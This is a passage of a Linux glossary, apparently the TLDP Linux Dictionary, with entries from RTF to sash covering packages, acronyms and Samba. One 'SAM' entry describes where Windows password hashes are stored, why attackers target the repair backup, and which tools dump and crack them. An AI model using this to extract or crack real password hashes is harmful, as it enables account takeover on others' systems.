: Real Time EXecutive (OS, Interdata) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RTF
: Rich Text Format From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RTF (Rich Text Format)
: A text formatting standard developed by Microseft Corporation that allows a wordprocrssing program to create a file encoded with all the document's formatting instructions, but without using any special hidden codes. An RTF−encoded document can be transmitted over telecommunications links or read by another RTF−compatible word processing program, without loss of the formatting. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rtf2latex
: Convert RTF files to LaTeX rtf2latex converts Microsoft RTF (Rich Text Format) files to LaTeX source files. If imagemagick is installed, rtf2latex tries to use it to convert embedded images from the RTF source file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rtf2rtf
: programs to postprocess the raw RTF generated by the mapping files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RTFF

RU.nix
RU.nix is devoted to running Linux on the PlayStation and on MIPS. Some of the site is in English, but to get real information you will need to read the Russian pages. Last entry dated January 22, 2003. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RUA
Remote User Agent From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RUAC
Remote User Access Centers From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rubibtex
make a bibliography for (La)TeX using Russian letters as item names From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ruby
An interpreter of object−oriented scripting language Ruby Ruby is the interpreted scripting language for quick and easy object−oriented programming. It has many features to process text files and to do system management tasks (as in perl). It is simple, straight−forward, and extensible. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rubybook

the "Programming Ruby" book This book is a tutorial nd reference for the Ruby programming language. Use Ruby, and you'll write better code, be more productive, and enjoy programming more. The book is a guide to working with the object−oriented programming language, teaching the basics, plus how to write large programs, how to extend Ruby using C code, and much more. This is the HTML version of the "Programming Ruby" book by David Thomas and Andrew Hunt, published by Addison−Wesley and graciously licensed under the Open Publication Licence. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rubymagick
: Ruby interface for ImageMagick Ruby interface for ImageMagick. (beta release) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rubyunit
: Simple testing framework for Ruby RubyUnit is a simple Testing Framework for Ruby. You can get the information about Testing Framework on next web site: <URL:http://www.xprogramming.com/> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RUI
: Reality User Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rumakeindex
: process a LaTeX index using Russian Cyrillic characters From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rumba−manifold−demo
: Sample programs that use RUMBA brain imaging main library Sample programs that use RUMBA brain imaging main library Main library From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rumba−utils
: RUMBA brain imaging utility programs RUMBA brain imaging system utility programs From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rumbaview
: RUMBA project brain imaging viewer RUMBA project brain imaging viewer From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

run
: Watch programs and restart them if they die Run allows you to run a program, and ensure that you have only one of that program running simultaneously. i.e. we would like to run some program, but not if its already running. We also may need to restart the program if it dies. Run accomplishes these tasks giving all the functionality that would otherwise require tedious shell scripting to accomplish. PLEASE NOTICE that upstream considers this package "a broken program" and advises on his home page not to use run unless one is prepared to debug. However, run seems to be working reasonably well, but be warned. Remove the Conflicts: line from control file if you want to build on potato From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

run−mailcap
: execute programs via entries in the mailcap file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

run−parts
: run scripts or programs in a directory From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

run−with−aspell
: A script to help use aspell as an ispell replacement From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rungetty
: a minimal console getty that can run any process rungetty might be the getty you were looking for. It is able to run any program, not just login. If a different program than login is used it usually is run as nobody.nobody, or the user/group specified on the commandline. rungetty can even be configured to

autologin, under certain circumstances. See the manual page for more information. You have to change some lines in /etc/inittab for having any effect after installing the package. rungetty is based on mingetty and therefore not suitable for serial use. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

runlevel
find the current and previous system runlevel. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

runlevel
The groups of processes which are started by init are controlled by the runlevel. The runlevel is a digit from 0 to 6 or the letter S. Runlevels 0, 6 and S are reserved for shutdown, reboot and single user mode. Runlevel 1 is also single user mode. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

runlevel
Working modes of a UNIX or UNIX−compatible operating system. Red Hat Linux has seven runlevels (0−6). 0 = a halted system; 1 = a single−user, stand−alone system; 2−5 = various multi−user modes; and 6 = system reboot. Each runlevel designates a different system configuration and allows access to different processes. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RunOnCD
Use Linux without the installation. Version 2.1 of RunOnCD is based on Red Hat 7.1. This site is mostly in Korean, with some English. Version 2.1 is dated December 7, 2001. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

runq
Mail Transfer Agent From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

runscript
script interpreter for minicom From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RUNT
RUNT (ResNet USB Network Tester) is Slackware Linux designed to run off of a 128 MB USB pen drive. It consists of a boot floppy image and a zip file, similar to zipslack. It is intended to be a fairly complete Linux installation for use as a testing tool capable of booting on any x86 computer with a USB port and a bootable floppy drive. RUNT 0.92, the initial version, was released November 27, 2002. Version 1.11 was released May 5, 2003. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RUOW
Remote Unit Of Work (DRDA, IBM), "RUoW" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RUS
Rechenzentrum der Universitaet Stuttgart (org., Uni Stuttgart, Germany) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rusers
Displays who is logged in to machines on local network. The rusers command produces output similar to who, but for the list of hosts or all machines on the local network. For each host responding to the rusers query, the hostname with the names of the users currently logged on is printed on each line. The rusers command will wait for one minute to catch late responders. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rusersd
Logged in users server. This is a server which returns information about users currently logged in to the system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RVD

Remote Virtual Disk From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rview

Vi IMproved, a programmers text editor From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rvim

Vi IMproved, a programmers text editor From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RW

Read/Write (I/O), "R/W" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rwall

Send a message to users logged on a host. The rwall command sends a message to the users logged into the specified host. The message to be sent can be typed in and terminated with EOF or it can be in a file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rwalld

Write messages to users currently logged in server. rpc.rwalld is a server which will send a message to users currently logged in to the system. This server invokes the wall(1) command to actually write the messages to the system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RWCP

Real World Computing Partnership (org., Japan) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rwho

Clients to query the rwho server The rwho command produces output similar to who, but for all machines on the local network. If no report has been received from a machine for 11 minutes then rwho assumes the machine is down, and does not report users last known to be logged into that machine. The ruptime command gives a status line like uptime for each machine on the local network; these are formed from packets broadcast by each host on the network once a minute. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rwho

The rwho command displays output similar to the output of the who command (it shows who is logged in) for all machines on the local network running the rwho daemon. Install the rwho command if you need to keep track of the users whoare logged in to your local network. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rwhod

System status server Rwhod is the server which maintains the database used by the rwho(1) and ruptime(1) programs. Its operation is predicated on the ability to broadcast messages on a network. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RWS

Remote WinSock (Windows, TCP/IP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rx320

Control a Ten−Tec RX−320 receiver Control a Ten−Tec RX−320 receiver via a serial port, providing a command line interface to the radio. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RxLinux

RxLinux seeks to centralize configuration and management of multiple Linux servers. A Web interface is used to build custom ISO CD−ROMs dedicated for specific servers. Servers, also called rxnodes, boot up from that CD−ROM and get the rest of the configuration and software from a master server. No administration is done directly on the nodes; everything is controlled from the master servers. When the rxnode has finished booting up and all software is running, it is completely independent from the rxmaster until the next reboot. The initial version, 1.0 beta1 was released July 5,

2002. Version 1.3.3 was released April 5, 2003. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxp

A validating XML parser Rxp reads, parses, and can optionally validate XML. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxsock

Socket function library for Regina REXX RxSock provides socket functions for the interpreted language Regina REXX. It provides the same functions as the OS/2 and Object Rexx RxSocks. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxvt

Rxvt is a color VT102 terminal emulator for the X Window System. Rxvt is intended to be an xterm replacement for users who don't need the more esoteric features of xterm, like Tektronix 4014 emulation, session logging and toolkit style configurability. Since it doesn't support those features, rxvt uses much less swap space than xterm uses. This is a significant advantage on a machine which is serving a large number of X sessions. The rxvt package should be installed on any machine which serves a large number of X sessions, if you'd like to improve that machine's performance. This version of rxvt can display Japanese, Chinese (Big5 and GuoBiao) and Korean. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxvt

VT102 terminal emulator for the X Window System Rxvt is an 8−bit clean, color xterm replacement that uses significantly less memory than a conventional xterm, mostly since it doesn't support toolkit configurability or Tek graphics, but also since features can be removed at compile−time to reflect your needs. The distribution also includes rclock, the smaller/better xclock replacement with appointment scheduling and xbiff functionality. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxvt−beta

VT102 terminal emulator for the X Window System Rxvt is an 8−bit clean, color xterm replacement that uses significantly less memory than a conventional xterm, mostly since it doesn't support toolkit configurability or Tek graphics, but also since features can be removed at compile−time to reflect your needs. The distribution also includes rclock, the smaller/better xclock replacement with appointment scheduling and xbiff functionality. This package contains the developer (beta) version of rxvt. See the rxvt package for the current stable version of rxvt. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxvt−beta−ml

multi−lingual VT102 terminal emulator for the X Window System Rxvt is an 8−bit clean, color xterm replacement that uses significantly less memory than a conventional xterm, mostly since it doesn't support toolkit configurability or Tek graphics, but also since features can be removed at compile−time to reflect your needs. This package contains three versions of rxvt: krxvt and crxvt, which support Japanese and Chinese characters, and grxvt, which supports both ELOT−928 (ISO−8859−7 standard) and IBM−437 keyboard translations for Greek character entry. This package contains the developer (beta) version of rxvt. See the rxvt−ml package for the current stable version of rxvt. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

rxvt−ml

multi−lingual VT102 terminal emulator for the X Window System Rxvt is an 8−bit clean, color xterm replacement that uses significantly less memory than a conventional xterm, mostly since it doesn't support toolkit configurability or Tek graphics, but also since features can be removed at compile−time to reflect your needs. This package contains three versions of rxvt: krxvt and crxvt, which support Japanese and Chinese characters, and grxvt, which supports both ELOT−928 (ISO−8859−7 standard) and IBM−437 keyboard translations for Greek character entry. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RZ

RechenZentrum From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

RZ

Return−to−Zero [recording] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

S

S/MIME (RFC 2311)
: S/MIME largely replaces PEM (Privacy Enhanced E−mail). MIME defined a common way that an e−mail message could contain binary attachements, and therefore integrates better into e−mail systems than PEM. PEM was never widely implemented, whereas S/MIME can be found in most popular e−mail readers. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

s2p
: Sed to Perl translator From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

S360
: System /360 (IBM), "S/360" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

S370
: System /370 (IBM), "S/370" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

s3mod
: Player for MOD and S3M music files This is a tracker music player. It is capable of playing S3M files in addition to 4,6, and 8 track MOD files. It supports dsp output and the Gravis Ultrasound. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

s3switch
: Manage the output device on S3 Savage chips Depending on the Savage chip this utility can be used to switch between LCD, CRT and TV output. Additionally one can choose between NTSC, NTSCJ and pal TV signal format. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SA
: Source [MAC] Address (SNA, Token Ring, ATM, FDDI, ...) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SA
: Storage Array From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SA
: Structured Analysis / Strukturierte Analyse (CASE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SA
: System Administrator From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SA
: Systems Analyst From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAA
: Standard Application Architecture (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAA
: Standards Association of Australia (org., Australia) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAAL
: Signalling ATM Adaptation Layer (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SABB
: Storage Array Building Block From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sablecc

An Object−Oriented Compiler Framework SableCC is an object−oriented framework that generates compilers (and interpreters) in the Java programming language. This framework is based on two fundamental design decisions. Firstly, the framework uses object−oriented techniques to automatically build a strictly typed abstract syntax tree that matches the grammar of the compiled language and simplifies debugging. Secondly, the framework generates tree−walker classes using an extended version of the visitor design pattern which enables the implementation of actions on the nodes of the abstract syntax tree using inheritance. These two design decisions lead to a tool that supports a shorter development cycle for constructing compilers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sablotron
an XSL processor fully implemented in C++ Sablotron is an XSL processor fully implemented in C++. The goal of this project is to create a reliable and fast XSLT processor conforming to the W3C specification, which is available for public and can be used as a base for multiplatform XML data distribution systems. This package includes Sablotron binaries, which need libsablot0 to work. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SABM
Set Asynchronous Balanced Mode (LABM, LAPB, HDLC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SABME
Set Asynchronous Balanced Mode Extension (SABM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sabre
Fighter plane simulator. SABRE is an on−going game development for the Linux Operating System, worked on as a labor of love by flight−simulation enthusiasts. For now, SABRE is focusing on the older jets and piston−engined fighters of the Korean War / Cold War era. Featured are F−86 SabreJet, MiG−15, F−84 ThunderJet, F−51 Mustang, and Yak−9. All of the planes in the game can be flown by the player as well as the computer pilots. This package contains the svgalib binary. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SABRE
Semi−Automatic Business Related Environment (OS, IBM 7090) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sabre−common
Fighter plane simulator. SABRE is an on−going game development for the Linux Operating System, worked on as a labor of love by flight−simulation enthusiasts. For now, SABRE is focusing on the older jets and piston−engined fighters of the Korean War / Cold War era. Featured are F−86 SabreJet, MiG−15, F−84 ThunderJet, F−51 Mustang, and Yak−9. All of the planes in the game can be flown by the player as well as the computer pilots. This package contains binaries and data common to both svgalib and X version of sabre. Homepage: http://sabre.cobite.com/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sac
Login accounting Performs login accounting, just like the ac program but with totals, per day and per users. Also performs average usage and hourly profiling. Tons of other options. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAC
Service / Special Area Code From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAM

SCSI−3 Architecture Model From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAM

Security Accounts Manager From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAM

Sequential Access Method / Mode (SAM, DAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAM

Sort And Merge From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAM

System Activity Monitor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sam

the plan9 text editor −− ed with a gui and multi−file editing sam −d can be used without X (with an ed−like interface −− but with more powerful regular expressions, the capacity to edit multiple files with a single command, and unlimited undo). Files can be added to an exiting sam session using the B command. sam without the −d option is an graphical editor with pop−up menus and a point+click interface. You'll want to read sam's manual page to use the full power of sam, but you can probably figure out how to do basic editing with a minimum of trial and error. If you have a Plan 9 terminal, you can use the Plan 9 terminal with sam to edit unix files, but not vice−versa; the Plan 9 authentication scheme does not honor remote execution requests from a non−Plan 9 system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAM (Security Access Monitor)

On Microsoft Windows 2000 (and Windows NT), all the user account information is stored within the SAM. It exists as a single file on the disk. The SAM is the primary target when hackers break into a system because it can be run through a password cracker. Key point: The SAM file is located in the path %systemroot%/system32/config/SAM However, a backup is also stored in the location %systemroot%/repair/sam._ as well as on any repair disk generated. (Note: if new repair disks haven't been created, then you'll likely only be able to see the Administrator's password there). Hackers usually go after the "repair" versions because they are not locked by the operating system. Tools: pwdump/pwdump2 Dumps the current password information using Windows registry calls. Must have administrative access for this to work. The data is written in a format for crack programs. samdump Reads the password information from the SAM file in a format suitable for inputting into crack programs. l0phtcrack The most popular utility for cracking Windows passwords. All these tools are available at http://www.l0pht.com/. History: The original version of WinNT allowed the password hashes to be easily retrieved, making cracking easy. In SP3, an optional utility called SYSKEY was added that encrypts the hashes. In order to decrypt them, the administrator needs to either type in the passphrase at boot time, store the passphrase on a floppy, or put the passphrase in the registry (dramatically reducing security, of course). Whatever way is used to boot the system, the keys are then stored in unencrypted format in memory, so administrative access can still read them (using the pwdump2 utility). SYSKEY is optional on WinNT, but is always running on Win2k. Key point: The PASSPROP and PASSFILT utilities can be used to enforce the choice of better passwords. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Samba

A free software implementation of the server message block (SMB) network file sharing protocol. Samba is usually implemented on networks that have a mixture of UNIX, Linux, and Windows computers and is designed for interoperable file sharing. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

samba

A LanManager like file and printer server for Unix. The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or NetBIOS protocol. This package contains all the components necessary to turn your Debian GNU/Linux box into a powerful file and printer server. Currently, the Samba Debian packages consist of the following: samba − A LanManager like file and printer server for Unix. samba−common − Samba common files used by both the server and the client. smbclient − A LanManager like simple client for Unix. swat − Samba Web Administration Tool samba−doc − Samba documentation. smbfs − Mount and umount commands for the smbfs (kernels 2.0.x and above). libpam−smbpass − pluggable authentication module for SMB password database libsmbclient − Shared library that allows applications to talk to SMB servers libsmbclient−dev − libsmbclient shared libraries winbind: Service to resolve user and group information from Windows NT servers It is possible to install a subset of these packages depending on your particular needs. For example, to access other SMB servers you should only need the smbclient and samba−common packages. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Samba

A lot of emphasis has been placed on peaceful coexistence between UNIX and Windows. Unfortunately, the two systems come from very different cultures and they have difficulty getting along without mediation. ...and that, of course, is Samba's job. Samba <http://samba.org/> runs on UNIX platforms, but speaks to Windows clients like a native. It allows a UNIX system to move into a Windows ``Network Neighborhood'' without causing a stir. Windows users can happily access file and print services without knowing or caring that those services are being offered by a UNIX host. All of this is managed through a protocol suite which is currently known as the ``Common Internet File System,'' or CIFS <http://www.cifs.com>. This name was introduced by Microsoft, and provides some insight into their hopes for the future. At the heart of CIFS is the latest incarnation of the Server Message Block (SMB) protocol, which has a long and tedious history. Samba is an open source CIFS implementation, and is available for free from the http://samba.org/ mirror sites. Samba and Windows are not the only ones to provide CIFS networking. OS/2 supports SMB file and print sharing, and there are commercial CIFS products for Macintosh and other platforms (including several others for UNIX). Samba has been ported to a variety of non−UNIX operating systems, including VMS, AmigaOS, and NetWare. CIFS is also supported on dedicated file server platforms from a variety of vendors. In other words, this stuff is all over the place. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Samba

a suite of programs which work together to allow clients to access to a server's filespace and printers via the SMB (Session Message Block) protocol. This means that you can redirect disks and printers to

Unix disks and printers from Lan Manager clients, Windows for Workgroups 3.11 clients, Windows NT clients, Linux clients and OS/2 clients. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Samba

Samba adds Windows−networking support to UNIX. Whereas NFS is the most popular protocol for sharing files among UNIX machines, SMB is the most popular protocol for sharing files among Windows machines. The Samba package adds the ability for UNIX systems to interact with Windows systems. Key point: The Samba package comprises the following: smbd The Samba service allowing other machines (often Windows) to read files from a UNIX machine. nmbd Provides support for NetBIOS. Logically, the SMB protocol is layered on top of NetBIOS, which is in turn layered on top of TCP/IP. smbmount An extension to the mount program that allows a UNIX machine to connect to another machine implicitly. Files can be accessed as if they were located on the local machines. smbclient Allows files to be access through SMB in an explicity manner. This is a command−line tool much like the FTP tool that allows files to be copied. Unlike smbmount, files cannot be accessed as if they were local. smb.conf The configuration file for Samba. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

samba−client

Samba−client provides some SMB clients, which complement the built−in SMB filesystem in Linux. These allow the accessing of SMB shares, and printing to SMB printers. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

samba−server

Samba−server provides a SMB server which can be used to provide network services to SMB (sometimes called "Lan Manager") clients. Samba uses NetBIOS over TCP/IP (NetBT) protocols and does NOT need NetBEUI (Microsoft Raw NetBIOS frame) protocol. Samba−2.2 features working NT Domain Control capability andincludes the SWAT (Samba Web Administration Tool) that allows samba's smb.conf file to be remotely managed using your favourite web browser. For the time being this is being enabled on TCP port 901 via xinetd. SWAT is now included init's own subpackage, samba−swat. Users are advised to use Samba−2.2 as a Windows NT4 Domain Controller only on networks that do NOT have a WindowsNT Domain Controller. This release does NOT as yet have Backup Domain control ability. Please refer to the WHATSNEW.txt document for fixup information. This binary release includes encrypted password support. Please read the smb.conf file and ENCRYPTION.txt in the docs directory for implementation details. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAMI

Synchronized Accessible Media Interchange (MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

saml

Simple Algebraic Math Library A C library for symbolic calculations, accompanied by some application programs (samuel, factorint, induce), and Python bindings. The library provides an object−oriented framework for defining and handling mathematical types, and implements the most common data types of computer algebra: integers, reals, fractions, complex numbers, polynomials, tensors, matrices, etc. The application programs consist of an interactive symbolic calculator (samuel), a programming language (induce) and a program to factorize integers (factorint). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sampling rate

The frequency with which a recording device, such as a sound board, takes readings of the sound it is recording. High−quality sound boards, like the equipment used to record audio compact disks, hae sampling rates of 44.1 kilohertz (KHz) or higher. Although sound boards with lower sampling rates might be adequate for recording simple noises or even voice clips, they are not adequate for recording music. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAN

Storage Area Networks From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sandbox

A "sandbox" is a mode of running a program that prevents it from having full access to the rest of the system. This is especially important for mobile code such as Java. A client can trust the code automatically downloaded from a web−site if the code runs in a sandbox and cannot harm the rest of the system. Key point: Sandboxes are being used more and more often for servers. This puts walls between different components that can help stop (or slow down) an intruder that has broken into one part of the system. The most important technique is to run services as a user account rather than an administrator/root account. For example, Microsoft's IIS creates a special user account (named "IUSR_XXXX" where XXXX is the system name) that the web−server runs under. When somebody breaks into the web−server, they still cannot gain control over the full system (unless they run some sort of local exploit in order to break out of this sandbox). Example: Example sandboxes are: user accounts As described above, running services under a user account prevents an intruder from gaining control over the entire machine. jail/chroot These utilities limit the view of the filesystem from a program. A program that runs under a chroot environment can only its own subdirectory, but no other parts of the filesystem. virtual machine The technique used by Java is to create an entirely separate "virtual" machine. A Java program has absolutely no access to the real machine except in a few places. A more extensive version of this is software like VMware or SoftPC that creates an entire virtual computer. Using VMware, you can boot a Linux or Windows virtual machine under the real machines. If an intruder compromises the virtual machine, he/she still cannot access the real machine. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sanduhr

an alarm clock, which is designed as a sand−glass Sanduhr is an alarm clock for the X Window System which uses (and requires) the GNOME desktop environment. It has an extensive manual and a complete CORBA interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SANE

Scanner Access Now Easy (Open−Source) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sane

Scanner graphical front−ends This package includes scanner graphical front−end xscanimage, and xcam, for acquiring images continuously from cameras. An alternative to xscanimage called xsane is packaged separately. The scanner front−ends use SANE. SANE stands for "Scanner Access Now Easy" and is an application programming interface (API) that provides standardized access to any raster image scanner hardware (flatbed scanner, hand−held scanner, video− and still−cameras, frame−grabbers, etc.). The SANE standard is free and its discussion and development is open to everybody. The current source code is written for UNIX (including Linux) and is available under the GNU public license (commercial application and backends are welcome, too, however). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SANE

Standard Apple Numeric Environment (Apple) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sane−backends

SANE (Scanner Access Now Easy) is a sane and simple interface to both local and networked scanners and other image acquisition devices like digital still and video cameras. SANE currently includes modules for accessing a range of scanners, including models from Agfa SnapScan, Apple,Artec, Canon, CoolScan, Epson, HP, Microtek, Mustek, Nikon, Siemens, Tamarack, UMAX, Connectix, QuickCams and other SANE devices via network. For the latest information on SANE, the SANE standard definition, and mailing list access, see http://www.mostang.com/sane/ This package does not enable network scanning by default; if you wish to enable it, install the saned package and set up the sane−net backend. This package contains the backends for different scanners. From

Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sane−find−scanner
: find SCSI and USB scanners and their device files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

saned
: SANE network daemon From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sanitizer
: The Anomy Mail Sanitizer − an email virus scanner The Anomy sanitizer is what most people would call "an email virus scanner". That description is not totally accurate, but it does cover one of the more important jobs that the sanitizer can do for you − it can scan email attachments for viruses. Other things it can do: Disable potentially dangerous HTML code, such as javascript, within incoming email. Protect you from email−based break−in attempts which exploit bugs in common email programs (Outlook, Eudora, Pine, ...). Block or "mangle" attachments based on their file names. This way if you don't *need* to receive e.g. visual basic scripts, then you don't have to worry about the security risk they imply (the ILOVEYOU virus was a visual basic program). This lets you protect yourself and your users from whole classes of attacks, without relying on complex, resource intensive and outdated virus scanning solutions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sanity check
: Verifying data and/or code does not contain careless errors. In the computer world, this often refers to checking that the output of a program produces the expected results and not inaccurate results from careless programming. From LinuxDig.com http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

saoimage
: A utility for displaying and processing astronomical images. SAOimage (pronounced S−A−0−image) is a utility for displaying astronomical images wich runs under the X11 window environment. Image files can be read directly, or image data may be passed through a named pipe (Unix) or a mailbox (VMS) from IRAF display tasks. SAOimage provides a large selection of options for zooming, panning, scaling, coloring, pixel readback, display blinking, and region specification. User interactions are generally performed with the mouse. Capability of reading IRAF 2.11 .imh files added. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAP
: Service Access Point (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAP
: Service Advertising Protocol (Novell, Netware, IPX) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAS

Single Attachment Station (FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SAS

Statistical Analysis System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SASE

Specific Application Service Element (ISO, OSI, CASE) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sash

Sash is a simple, standalone, statically linked shell which includes simplified versions of built−in commands like ls, dd and gzip. Sash is statically linked so that it can work without shared libraries, so it is particularly useful for recovering from certain types of system failures. Sash can also be used to safely upgrade to new versions of shared libraries. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sash

